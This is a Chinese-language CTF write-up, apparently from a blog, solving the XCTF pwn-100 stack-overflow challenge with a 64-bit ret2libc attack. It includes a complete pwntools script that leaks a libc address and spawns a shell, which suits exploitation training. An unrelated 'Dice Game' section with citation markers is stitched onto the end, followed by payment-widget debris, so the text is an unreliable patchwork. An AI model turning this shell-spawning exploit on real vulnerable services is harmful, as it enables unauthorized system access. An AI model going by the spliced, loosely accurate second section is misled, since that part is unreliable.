XCTF pwn-100

d0373c18b0b64190b9dbca9f80c3ad39.bmp

下载文件,checksec看保护,发现可以使用栈溢出

69544ecc347b44efa6ef79dcf706ccc2.bmp

用ida打开,结构非常简单,跟进sub_40064D

0e728d51ed6f48bfac6873ab339094f4.bmp

分析可以得到就是一个简单的输入,输入200个字节内容,然后退出

4cb708cb36c5455fb1abc3f87f26759f.bmp

那么便可以发现 v1是存在栈溢出的,但是发现此题目是没有system和/bin/sh的,那么便就是典型的64位的ret2libc,下面开始构建payload。

注意64位的传参方式,前六的参数传递到rdi,rsi,rdx,rcx,r8,r9各个寄存器上面,第七个参数开始传入的栈中,构造system("/bin/sh\x00"),先将/bin/sh地址pop到rdi中,再调用system,先ROPgadget获得pop_rdi_ret和ret(64位堆栈平衡)。

c70445ee4fbd471a9ac3ac8abc0b77f8.bmp

#也可以用下面语句获得指定寄存器
ROPgadget --binary pwn100 --only "pop|ret" | grep rdi

ok,准备完毕,直接上脚本

 

from pwn import *
from LibcSearcher3 import *
context(arch='amd64',log_level='debug')
#p=remote("61.147.171.105",54704)
p=process("./pwn100")

elf = ELF("./pwn100")
ret = 0x00000000004004e1
pop_rdi_ret = 0x0000000000400763
main = 0x040068E
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

#第一部分泄露libc的基地址
padding = cyclic(0x40+8)
payload = padding
payload += flat(pop_rdi_ret,puts_got,puts_plt,main)
payload = payload.ljust(200,b'a')
p.send(payload)
p.recvuntil("bye~\n")

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(f'[+][+][+]puts_address = {hex(puts_addr)}')

libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')

#第二部分获得system和/bin/sh\x00地址
system = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')

#第三部分开始攻击
payload1 = padding
payload1 += flat(pop_rdi_ret,bin_sh,ret,system)
#ret是64位堆栈平衡,但这里好像不加也没关系
payload1 = payload1.ljust(200,b'a')
p.send(payload1)
p.interactive()

发送后,选的是第四个

35932d0a63be466b88145acd7c5393bb.bmp

说明一下,打远程选用的是LibcSearcher3,因为用的是python3环境,打本地用的是LibcSearcher,虽然用的也是python3。

 

注释一下:

对于LibcSearcher,由于没人维护了,且适用于python2,好多情况LibcSearcher搜不到合适的libc版本,那么你可以通过泄露的地址的后三位,去如下这个网站直接找

libc database search (blukat.me)

而LibcSearcher3适用于python3,详情点击下方链接看吧

LibcSearcher3 · PyPI

 

 

### 关于Dice Game在XCTF竞赛中的问题材料 #### 题目概述 Dice Game 是 XCTF 竞赛中的一道 PWN 类型题目,该二进制文件具有特定的安全特性配置。通过 `checksec` 工具检测发现此程序启用了完整的RELRO和NX位,但是未启用栈 Canary保护措施,并且支持PIE地址空间布局随机化[^1]。 #### 安全特征分析 - **架构**: 支持amd64架构下的小端模式。 - **RELRO (重定位读只)**: 启用完全版,有助于防止攻击者利用某些类型的内存破坏漏洞。 - **Stack Canaries(堆栈金丝雀)**: 缺失这项防护意味着可能存在缓冲区溢出风险。 - **NX Bit (No-eXecute bit, 数据执行保护)**: 开启状态阻止了恶意代码注入到数据区域并被执行的可能性。 - **PIE (位置独立可执行文件)**: 此选项使得每次加载时基址不同从而增加了预测返回地址难度。 #### 示例代码展示如何基于给定种子生成一系列伪随机数值 为了模拟骰子游戏内部可能使用的随机序列,下面给出了一段C语言源码片段用于重现这一过程: ```c #include <stdio.h> #include <stdlib.h> int main(){ unsigned int seed; seed = 0x30303030; // 设定固定的种子值 srand(seed); for(int i=0;i<50;i++) printf("%d\n", rand()); return 0; } ``` 这段代码初始化了一个已知的seed之后调用了`srand()`函数来设置随机数发生器的状态;接着在一个循环里连续打印出了由`rand()`产生的前五十个整数结果[^2]。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值